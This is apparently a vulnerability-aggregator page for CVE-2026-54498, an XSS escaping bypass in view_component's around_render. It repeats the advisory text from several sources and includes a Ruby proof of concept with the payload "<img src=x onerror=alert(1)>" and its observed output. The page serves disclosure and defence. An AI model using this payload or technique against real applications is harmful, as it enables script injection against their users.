CVE-2026-54498
view_component: around_render HTML-Safety Bypass
view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
view_component: around_render HTML-Safety Bypass
view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.
- Record
CVE-2026-54498- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-45333
8.7
view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.
- Record
EUVD-2026-45333- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-97jw-64cj-jc58
8.7
ViewComponent: around_render HTML-Safety Bypass
Summary
ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.
The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.
Affected Code
Validated against:
- Repository commit:
eea79445 - Ruby:
3.4.9
Relevant locations:
lib/view_component/base.rbrender_inaround_render__vc_maybe_escape_html
lib/view_component/template.rbInlineCall#safe_method_name_call
lib/view_component/collection.rbCollection#render_in
Key code paths:
# lib/view_component/base.rb
around_render do
render_template_for(@__vc_requested_details).to_s
end
# lib/view_component/template.rb
proc do
__vc_maybe_escape_html(send(m)) do
Kernel.warn(...)
end
end
# lib/view_component/collection.rb
components.map do |component|
component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe
Root Cause
Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.
This creates two different output-safety behaviors:
#callreturning unsafe string: escaped#around_renderreturning unsafe string: raw
Collection rendering then amplifies the issue by calling .html_safe on the joined result.
Proof of Concept
Run from the repository root:
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"
class PocController < ActionController::Base; end
def vc
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
c.view_context
end
PAYLOAD = "<img src=x onerror=alert(1)>"
class UnsafeCallComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = @payload
end
class UnsafeAroundComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
class UnsafeAroundCollectionComponent < ViewComponent::Base
with_collection_parameter :payload
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
view_context = vc
normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)
puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"
Observed output:
normal_call=<img src=x onerror=alert(1)>
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x…
- Record
GHSA-97jw-64cj-jc58- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
8.7
view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.
- Record
CVE-2026-54498- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
8.7
view_component: around_render HTML-Safety Bypass
view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.
- Record
CVE-2026-54498- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-97jw-64cj-jc58
8.7
ViewComponent: around_render HTML-Safety Bypass
Summary
ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.
The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.
Affected Code
Validated against:
- Repository commit:
eea79445 - Ruby:
3.4.9
Relevant locations:
lib/view_component/base.rbrender_inaround_render__vc_maybe_escape_html
lib/view_component/template.rbInlineCall#safe_method_name_call
lib/view_component/collection.rbCollection#render_in
Key code paths:
# lib/view_component/base.rb
around_render do
render_template_for(@__vc_requested_details).to_s
end
# lib/view_component/template.rb
proc do
__vc_maybe_escape_html(send(m)) do
Kernel.warn(...)
end
end
# lib/view_component/collection.rb
components.map do |component|
component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe
Root Cause
Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.
This creates two different output-safety behaviors:
#callreturning unsafe string: escaped#around_renderreturning unsafe string: raw
Collection rendering then amplifies the issue by calling .html_safe on the joined result.
Proof of Concept
Run from the repository root:
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"
class PocController < ActionController::Base; end
def vc
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
c.view_context
end
PAYLOAD = "<img src=x onerror=alert(1)>"
class UnsafeCallComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = @payload
end
class UnsafeAroundComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
class UnsafeAroundCollectionComponent < ViewComponent::Base
with_collection_parameter :payload
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
view_context = vc
normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)
puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"
Observed output:
normal_call=<img src=x onerror=alert(1)>
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x…
- Record
GHSA-97jw-64cj-jc58- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
view_componentRubyGems |
4.0.0 up to 4.12.0 | 4.12.0 |
view_componentRubyGems |
4.0.0 up to 4.12.0, plus listed versions 4.0.14.0.24.1.04.1.14.10.0 Show 9 moreShow less4.11.04.2.04.3.04.4.04.5.04.6.04.7.04.8.04.9.0 |
4.12.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-54498 is a high vulnerability (CVSS 8.7) in Github View Component, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 39th percentile. Fixed in view_component 4.12.0.
References
github.com/ViewComponent/view_component/security/advisories/GHSA-97jw-64cj-jc58
github.com/ViewComponent/view_component/commit/48e5fd2d602344c7d33019fbc5c8b087e315bb78
github.com/ViewComponent/view_component/commit/6796b2e89d0bd7b9d7d763a86275e5334731dd61
github.com/ViewComponent/view_component/releases/tag/v4.12.0
github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-54498.yml
cve.org/CVERecord/SearchResults?query=CVE-2026-54498
Left out here: the rest of 2 source descriptions. The JSON record has them.